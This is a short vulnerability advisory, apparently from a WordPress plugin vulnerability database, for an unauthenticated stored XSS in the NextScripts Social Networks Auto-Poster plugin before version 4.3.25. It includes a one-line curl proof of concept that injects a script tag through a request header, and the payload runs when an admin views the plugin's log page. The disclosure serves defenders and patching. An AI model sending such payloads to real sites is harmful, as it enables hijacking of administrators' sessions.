WordPress Plugin Vulnerabilities
NextScripts: Social Networks Auto-Poster < 4.3.24 - Unauthenticated Stored XSS
Description
The plugin does not sanitise and escape logged requests before outputting them in the related admin dashboard, leading to an Unauthenticated Stored Cross-Site Scripting issue
Proof of Concept
curl -H 'x-tomato: <script>alert(/XSS/);</script>' 'https://example.com/?nxs-cronrun=yes' The XSS will be triggered in the Log/History dashboard (/wp-admin/admin.php?page=nxs-log)
Affects Plugins
Fixed in version 4.3.25
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-01-03 (about 9 months ago)
Added
2022-01-03 (about 9 months ago)
Last Updated
2022-04-08 (about 5 months ago)